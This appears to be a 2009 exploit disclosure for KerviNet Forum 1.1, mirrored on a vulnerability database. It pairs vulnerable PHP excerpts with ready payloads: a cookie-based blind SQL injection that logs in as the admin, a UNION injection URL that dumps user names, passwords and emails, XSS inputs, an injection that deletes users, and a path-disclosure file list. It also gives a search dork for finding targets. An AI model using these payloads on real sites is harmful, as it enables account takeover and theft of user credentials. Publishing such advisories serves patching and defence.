Lucene search
K

KerviNet Forum <= 1.1 Multiple Remote Vulnerabilities

🗓️ 01 Jul 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

KerviNet Forum <= 1.1 Multiple Remote Vulnerabilities, blind SQL injection, SiXSS, aXSS, user deletion, path disclosur

Code

                                                dork: &quot;Copyright KerviNet&quot;
eLwaux(c) 20.06.2009

## ## ## ##
Blind SQLinj
/index.php
-------------------------------------------------------------------------------------------------
if($_COOKIE['user_enter']==&quot;auto&quot;) {
$enter_login=$_COOKIE['enter_login'];
$enter_parol=$_COOKIE['enter_parol'];
$mysql-&gt;query(&quot;SELECT name, pass, status FROM users WHERE name =
'&quot;.$enter_login.&quot;' AND pass = '&quot;.$enter_parol.&quot;'&quot;);
-------------------------------------------------------------------------------------------------
exploit:
  COOKIE: user_enter=auto
  COOKIE: enter_login = abc
  COOKIE: enter_parol = ' or name = (select name from users where
id_user=1) and '1'='1';
  sqlQuery: SELECT name, pass, status FROM users WHERE name = 'abc'
AND pass = '' or name = (select name from users where id_user&lt;10 limit
1)
и вы автоматом зайдете под админом, даже не зная его имени (:



## ## ## ##
SQLinj
/message.php
-------------------------------------------------------------------------------------------------
9:  $topic=$_GET['topic'];
18: if($topic) {
69: $mysql-&gt;query(&quot;SELECT name, viewing, voting, status, top_status,
id_forum FROM topics WHERE id_topic = &quot;.$topic);
exploit:/message.php?topic=-1+union+select+1,concat_ws(0x3a,id_user,name,pass,email),3,4,5,6+from+users
-------------------------------------------------------------------------------------------------


## ## ## ##
SiXSS
/message.php
exploit:/message.php?topic=-1+union+select+1,'{XSS}',3,4,5,6+from+users


## ## ## ##
aXSS
/add_voting.php
-------------------------------------------------------------------------------------------------
22: $topic=$_GET['topic'];
61: if($topic) {
66: 	 $forum_edit-&gt;add_voting($time, $topic, $v_vopros, $variants);
74: }

function add_voting($time, $topic, $v_vopros, $variants) {
global $user;
global $user_ip;
if($user) {
global $mysql;
$mysql-&gt;query(&quot;UPDATE topics SET voting = 1 WHERE id_topic = &quot;.$topic);
$mysql-&gt;query(&quot;INSERT INTO v_name VALUES (0, '&quot;.$v_vopros.&quot;', &quot;.$topic.&quot;)&quot;);
$id_vname=mysql_insert_id();
for($i=0; $i&lt;count($variants); $i+=1) {
$vr_nom=$i+1;
$mysql-&gt;query(&quot;INSERT INTO v_variants VALUES (&quot;.$vr_nom.&quot;,
'&quot;.$variants[$i].&quot;', &quot;.$id_vname.&quot;)&quot;);
}
}
return $id_vname;
}
-------------------------------------------------------------------------------------------------

exploit:/add_voting.php?topic=1
   POST: add_voting = ok_add
   POST: v_vopros = v
   POST: v_variant1 = {XSS}
   POST: v_variant2 = v2


## ## ## ##
users deleating
/admin/edit_user.php
-------------------------------------------------------------------------------------------------
$del_user_id=$_POST['del_user_id'];
$mysql-&gt;query(&quot;DELETE FROM users WHERE id_user = &quot;.$del_user_id);
-------------------------------------------------------------------------------------------------
exploit:
   POST: del_user_id=(select user_id from users limit 1)


## ## ## ##
Path Disclosure
-------------------------------------------------------------------------------------------------
/include_files/voting_diagram.php
/include_files/voting.php
/include_files/topics_search.php
/include_files/topics_list.php
/include_files/top_part.php
/include_files/quick_search.php
/include_files/quick_reply.php
/include_files/moder_menu.php
/include_files/messages_list.php
/include_files/menu.php
/include_files/head.php
/include_files/forums_list.php
/include_files/forum_statistics.php
/include_files/forum_info.php
/include_files/birthday.php
/admin/head.php
-------------------------------------------------------------------------------------------------

# sebug.net

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation